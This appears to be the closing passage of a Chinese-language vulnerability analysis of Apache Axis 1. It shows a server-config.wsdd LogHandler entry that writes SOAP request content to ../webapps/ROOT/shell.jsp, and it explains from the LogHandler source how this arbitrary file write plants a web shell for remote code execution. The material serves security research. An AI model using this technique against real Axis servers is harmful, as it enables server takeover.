<handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler">
  <parameter name="LogHandler.writeToConsole" value="false"/>
  <parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp"/>
 </handler>

配置了一個LogHandler

org.apache.axis.handlers.soap.SOAPService#invoke

public void invoke(MessageContext msgContext) throws AxisFault {
    log.debug("Enter: LogHandler::invoke");
    if (!msgContext.getPastPivot()) {
        this.start = System.currentTimeMillis();
    } else {
        this.logMessages(msgContext);
    }

    log.debug("Exit: LogHandler::invoke");
}
private void logMessages(MessageContext msgContext) throws AxisFault {
    try {
        PrintWriter writer = null;
        writer = this.getWriter();
        Message inMsg = msgContext.getRequestMessage();
        Message outMsg = msgContext.getResponseMessage();
        writer.println("=======================================================");
        if (this.start != -1L) {
            writer.println("= " + Messages.getMessage("elapsed00", "" + (System.currentTimeMillis() - this.start)));
        }

        writer.println("= " + Messages.getMessage("inMsg00", inMsg == null ? "null" : inMsg.getSOAPPartAsString()));
        writer.println("= " + Messages.getMessage("outMsg00", outMsg == null ? "null" : outMsg.getSOAPPartAsString()));
        writer.println("=======================================================");
        if (!this.writeToConsole) {
            writer.close();
        }

    } catch (Exception var5) {
        log.error(Messages.getMessage("exception00"), var5);
        throw AxisFault.makeFault(var5);
    }
}

this.getWriter();

private PrintWriter getWriter() throws IOException {
    PrintWriter writer;
    if (this.writeToConsole) {
        writer = new PrintWriter(System.out);
    } else {
        if (this.filename == null) {
            this.filename = "axis.log";
        }

        writer = new PrintWriter(new FileWriter(this.filename, true));
    }

    return writer;
}

這裡對this.filename在前面初始化時候,我們構造了他的資料中定義成了../webapps/ROOT/shell.jsp,讓他寫到跟目錄下。

裡面還構造了一個this.writeToConsole=false的資料。

是因為我們需要在呼叫的時候將請求的內容寫入到log日誌中,即../webapps/ROOT/shell.jsp檔案。

看到下面程式碼

  if (!this.writeToConsole) {
            writer.close();
        }

這裡如果為true,會將這個檔案流給關閉掉。

參考文章

Apache Axis1 與 Axis2 WebService 的漏洞利用總結

Axis原始碼分析-Web服務部署(二)

0x03 結尾

漏洞分析篇幅不是很長,整體來說這個漏洞其實就是一個檔案任意寫入,但由於這個元件的一些特性。即通過server-config.wsdd來初始化和配置service,那麼就可以寫入一個惡意的service,到該檔案中,進行呼叫實現RCE的效果。在復現漏洞中,發現需要/servlet/AdminServlet取消這個路由的註釋,實際上在測試中發現,訪問該路由會自動生成server-config.wsdd檔案,我們需要的是該檔案。有server-config.wsdd檔案,/servlet/AdminServlet存不存在就顯得沒那麼重要了。至此再一次佩服漏洞挖掘者。

相關文章